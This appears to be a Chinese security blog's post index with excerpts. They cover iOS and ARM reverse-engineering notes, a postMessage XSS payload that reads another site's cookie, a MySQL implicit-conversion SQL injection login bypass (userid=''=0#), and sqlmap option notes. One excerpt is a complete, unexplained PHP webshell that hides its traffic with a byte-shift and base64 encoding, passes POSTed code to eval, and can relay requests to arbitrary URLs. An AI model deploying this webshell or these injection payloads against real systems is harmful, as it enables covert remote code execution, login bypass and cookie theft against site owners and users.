最后找到了加密的秘钥,找到之后发现整个流程好简单。之前找不到首先不熟悉Object-C的语法,其次就是arm指令,记录如下:
0x01 工具
首先是要用到的工具,中间主要用了ida,hopper和lldb
- dumpdecrypted: 将苹果加密过的app砸壳
- class-dump: 导出MachO文件里ObjC类及方法定义
- CydiaSubstrate: 将第三方动态库注入进程
- Cycript: 用js语法写ObjC方法
- Theos: 越狱插件开发工具
- IDA: 反汇编、反编译工具
- Hopper: OSX反汇编、反编译工具
- Debugserver + LLDB: 动态调试器
0x02 ARM指令
arm是RISC结构,数据从内存到CPU之间移动只能通过L/S指令来完成,就是ldr/str指令
ldr 把数据从内存移到cpu
str 把cpu的数据数据转移到内存
lldb读取内存的数据,memory read <start> <end>
ldr r0, 0x12345678 //把0x12345678这个地址中的值存放到r0中
ldr r0, =0x12345678 //把0x12345678这个地址写到r0中
例子:
COUNT EQU 0x40003100 //定义一个COUNT变量,地址是0x40003100
...
LDR R1,=COUNT //将COUNT这个变量的地址,也就是0x40003100放到R1中
MOV R0,#0 //将立即数0放到R0中
STR R0,[R1] //将R0中的值放到以R1中的值为地址的存储单元去
B 跳转指令
BL 带返回的跳转指令
BLX 带返回和状态切换的跳转指令
BX 带状态切换的跳转指令
BLX指令从ARM指令集跳转到指令中所指定的目标地址,并将处理器的工作状态从ARM切换到Thumb状态,该指令同时将PC的当前内容保存到寄存器R14,因此,当子程序使用Thumb指令集,而调用者者使用ARM指令集,可以通过BLX指令实现子程序的调用和处理器工作状态切换,同时,子程序的返回可以通过将寄存器R14的值复制到PC中来完成。
R0-R3: 用于函数参数及返回值的传递,超过4个参数,其它参数存在栈中,在ARM中栈是向下生长的,R0还可以作为返回值。
R4-R6, R8, R10-R11: 没有特殊规定,就是普通的通用寄存器
R7: 栈帧指针,指向母函数与被调用子函数在栈中的交界。
R9: 在iOS3.0被操作系统保留
R12: 内部过程调用寄存器,动态链接时会用到,不必深究
R13: SP(stack pointer),是栈顶指针
R14: LR(link register),存放函数的返回地址。
R15: PC(program counter),指向当前指令地址。
ADC 带进位的加法
ADD 加法
AND 逻辑与
B 分支跳转,很少单独使用
BL 分支跳转,跳转后返回地址存入r14
BX 分支跳转,并切换指令模式(Thumb/ARM)
CMP 比较值,结果存在程序状态寄存器,一般用于分支判断
BEQ 结果为0则跳转
BNE 结果不为0跳转
LDR 加载寄存器,从内存加载到寄存器
LDRB 装载字节到寄存器
LDRH 装载半字到寄存器(一个字是32位)
LSL 逻辑左移 这是一个选项,不是指令
LSR 逻辑右移 这是一个选项,不是指令
MOV 传送值/寄存器到一个寄存器
STR 存储一个寄存器,寄存器值存到内存
STRB 存储一个字节
STRH 存储一个半字
SUB 减法
PUSH POP 堆栈操作
有时候需要
db ;定义字节类型变量,一个字节数据占一个字节单元,读完一个偏移量加1
dw ;定义字类型变量,一个字数据占2个字节单元,读完一个,偏移量加2
dd ;定义双字类型变量,一个双字数据占4个字节单元,读完一个,偏移量加4
IDA给某个位置命名的时,它会使用该位置的虚拟地址和表示一个该地址的类型的前缀进行命名:
sub_xxx ;地址xxx处的子例程
loc_xxx ;地址xxx处的一个指令
byte_xxx ;位置xxx处的8位数据
word_xxx ;位置xxx处的16位数据
dword_xxx ;位置xxx处的32位数据
unk_xxx ;位置xxx处大小未知的数据
关于sp,bp等栈寄存器的解释:
SP is stack pointer. The stack is generally used to hold "automatic" variables and context/parameters across function calls. Conceptually you can think of the "stack" as a place where you "pile" your data. You keep "stacking" one piece of data over the other and the stack pointer tells you how "high" your "stack" of data is. You can remove data from the "top" of the "stack" and make it shorter.
<https://www.zybuluo.com/oro-oro/note/137244>
<http://cryptroix.com/2016/10/16/journey-to-the-stack/>
<http://en.citizendium.org/wiki/Stack_frame>
虽然是英文,但是看起来要比中文易懂
ida里面有三种颜色的箭头:
- 蓝色,顺序执行
- 绿色,条件为(YES)
- 红色,条件为(NO)
Read More
在不同网页之间使用postMessage交流信息的时候,存在xss的情况,上面第二个链接是问题,第一个和第三个是对应的解决方法,最后的payload就是如下:
简单来说,如果A存在xss,B使用postMessage接收来自A的信息,那么在A站可以加载B的iframe,弹出B的cookie。所以这种情况下,A,B都是存在Xss漏洞的。
var t = document.createElement("iframe");
t.setAttribute("src","https://www.n0tr00t.com/static/test/helloevent.html");
//t.setAttribute("onload","frames[0].postMessage('<input onfocus=alert(document.cookie) autofocus>','*')");
document.body.appendChild(t);
function a(){
var b = document.createElement("button");
b.setAttribute("onclick","frames[0].postMessage('<img src=x onerror=alert(document.cookie)>','*')");
//b.setAttribute("onclick","frames[0].postMessage('this is onerror img src','*')");
document.body.appendChild(b);
b.click();
}
//setTimeout("a()",3000);
window.onload = a();
Read More
https://tom.vg/2013/04/mysql-implicit-type-conversion/
https://www.t00ls.net/articles-24308.html
如果PHP语句中存在这样的登录漏洞比如:
$sql="select * from users where id='".$user."' and password='".md5($pass)."';
但是在登录框处限制了用户名长度
if (strlen($user)>4){
print "用户名不能超过4个字符串";
echo $user;
echo strlen($user);
die();
}
如果未做限制的情况下可以构造这样的语句
select * from users where userid = 1 or 1=1
在限制的情况下可以利用sql隐形转换这样子:
select * from users where userid=''=0#
这个就全部选择出来了,然后重要的点在后面userid=''=0#
,闭合前面单引号,于是整个数值就恒等于了,也可以这么写
userid=''=false#
,userid=''=(1-1)
,userid='a'=0
基本原理就是上面文章提到的:
Read More
<?php
function easy_en($str) {
$ret = "";
for ($i=0;$i<strlen($str);$i++){
$old = ord($str[$i]);
if ($old == 0) $new = 0x7f;
else $new = $old -1;
$ret .= chr($new);
}
return $ret;
}
function easy_de($str) {
$ret = "";
for ($i=0;$i<strlen($str);$i++){
$old = ord($str[$i]);
if ($old == 0x7f) $new = 0;
else $new = $old + 1;
$ret .= chr($new);
}
return $ret;
}
if (@$_GET['role'] == 'proxy' && @$_GET['url']) {
$c = base64_encode(easy_en(file_get_contents('php://input')));
// var_dump($c);
$cxt = stream_context_create(array('http'=>array(
'header'=>'Content-Type: application/x-www-form-urlencoded',
'method'=>'POST',
'content'=>$c),
));
$c = file_get_contents($_GET['url'], false, $cxt);
// var_dump($c);
die(easy_de(base64_decode($c)));
}
function shutdown() {
$str = ob_get_contents();
ob_end_clean();
echo base64_encode(easy_en($str));
}
register_shutdown_function("shutdown");
ob_start();
$c = easy_de(base64_decode(file_get_contents('php://input')));
parse_str($c, $_POST); //解密之后把pass赋值给$_POST参数
eval($_POST['pass']); //执行一句话
?>
Read More
2017-1-11更新:
原来的时候下面这一坨代码用了半个小时写出来,PHP比较渣,变查边写边用burp调试。
其实需求很简单,就是在sqlmap的每个payload后面写入特定字符,昨天的时候看到这篇文章才发现sqlmap已经有选项了,感觉自己蠢蠢嗒- -
http://www.thegreycorner.com/2017/01/exploiting-difficult-sql-injection.html
The prefix (–prefix) and suffix (–suffix) options configure the strings that should be included with each SQL injection payload in order to begin, and then terminate, the Injection.
--prefix --suffix 是每次添加在payload的数据,一个前置,一个后置
###在注入测试的时候union查询用的是NULL?
Why use NULL values in the UNION SELECT? NULL is a great value to use in UNIONS when trying to determine the correct number of columns in an injection, as it can sit in place of a number of different field types, such as numbers, strings and dates.
###使用具体的payload
如果知道了注入点是在order by,可以添加这样的选项:--test-filter='ORDER BY'
###--string
& --not-string
Blind injection的时候,有这样的选项:
--string
--not-string
在true或者false要判断的字符
--regexp 使用的正则表达
--code 根据HTTP状态来判断
--text-only 比较回应的文本
--title 比较回应的title
其中作者说明了使用--string或者--not-string的时候可以使用Python里面的十六进制换行来匹配比如newline(\x0a)和tabs(\x09)
--string="Name\x0a\x09\x09Stephen"
Read More